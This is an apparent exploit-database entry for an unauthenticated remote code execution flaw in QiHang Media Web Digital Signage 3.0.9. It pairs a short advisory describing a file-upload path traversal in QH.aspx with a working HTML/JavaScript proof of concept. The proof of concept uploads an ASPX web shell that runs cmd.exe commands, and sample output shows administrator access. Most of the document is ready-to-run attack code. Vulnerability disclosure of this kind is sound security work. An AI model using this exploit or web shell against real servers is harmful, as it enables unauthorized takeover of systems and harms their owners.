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QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)

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# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)
# Date: 2020-08-12
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.howfor.com
# Tested on: Microsoft Windows Server 2012 R2 Datacenter
# CVE : N/A

<!--

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from an unauthenticated remote code execution.
The vulnerability is caused due to lack of verification when uploading files
with QH.aspx that can be written in any location by utilizing the 'remotePath'
parameter to traverse through directories. Abusing the upload action and the
'fileToUpload' parameter, an unauthenticated attacker can exploit this to
execute system commands by uploading a malicious ASPX script.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5582
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5582.php


27.07.2020

-->


<html>
  <body>
    <script>
      function uploadShellPoC()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.1.74:8090\/QH.aspx", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"cmd.aspx\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c%@ Page Language=\"VB\" Debug=\"true\" %\x3e\r\n" + 
          "\x3c%@ import Namespace=\"system.IO\" %\x3e\r\n" + 
          "\x3c%@ import Namespace=\"System.Diagnostics\" %\x3e\r\n" + 
          "\r\n" + 
          "\x3cscript runat=\"server\"\x3e\r\n" + 
          "\r\n" + 
          "Sub RunCmd(Src As Object, E As EventArgs)\r\n" + 
          "  Dim myProcess As New Process()\r\n" + 
          "  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)\r\n" + 
          "  myProcessStartInfo.UseShellExecute = false\r\n" + 
          "  myProcessStartInfo.RedirectStandardOutput = true\r\n" + 
          "  myProcess.StartInfo = myProcessStartInfo\r\n" + 
          "  myProcessStartInfo.Arguments=xcmd.text\r\n" + 
          "  myProcess.Start()\r\n" + 
          "\r\n" + 
          "  Dim myStreamReader As StreamReader = myProcess.StandardOutput\r\n" + 
          "  Dim myString As String = myStreamReader.Readtoend()\r\n" + 
          "  myProcess.Close()\r\n" + 
          "  mystring=replace(mystring,\"\x3c\",\"<\")\r\n" + 
          "  mystring=replace(mystring,\"\x3e\",\">\")\r\n" + 
          "  result.text= vbcrlf & \"\x3cpre\x3e\" & mystring & \"\x3c/pre\x3e\"\r\n" + 
          "End Sub\r\n" + 
          "\r\n" + 
          "\x3c/script\x3e\r\n" + 
          "\r\n" + 
          "\x3chtml\x3e\r\n" + 
          "\x3cbody\x3e\r\n" + 
          "\x3cform runat=\"server\"\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Label id=\"L_p\" runat=\"server\" width=\"80px\"\x3eProgram\x3c/asp:Label\x3e\r\n" + 
          "\x3casp:TextBox id=\"xpath\" runat=\"server\" Width=\"300px\"\x3ec:\\windows\\system32\\cmd.exe\x3c/asp:TextBox\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Label id=\"L_a\" runat=\"server\" width=\"80px\"\x3eArguments\x3c/asp:Label\x3e\r\n" + 
          "\x3casp:TextBox id=\"xcmd\" runat=\"server\" Width=\"300px\" Text=\"/c net user\"\x3e/c net user\x3c/asp:TextBox\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Button id=\"Button\" onclick=\"runcmd\" runat=\"server\" Width=\"100px\" Text=\"Run\"\x3e\x3c/asp:Button\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Label id=\"result\" runat=\"server\"\x3e\x3c/asp:Label\x3e\r\n" + 
          "\x3c/form\x3e\r\n" + 
          "\x3c/body\x3e\r\n" + 
          "\x3c/html\x3e\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"responderId\"\r\n" + 
          "\r\n" + 
          "ResourceNewResponder\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"remotePath\"\r\n" + 
          "\r\n" + 
          "/opt/resources\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Click" onclick="uploadShellPoC();" />
    </form>
  </body>
</html>

<!--
JSON response for successful upload:
{
  "first": true,
  "second": [
    "cmd.aspx"
  ]
}

GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx
Command issued: /c whoami

Response:
robertovolare\administrator
 -->
            
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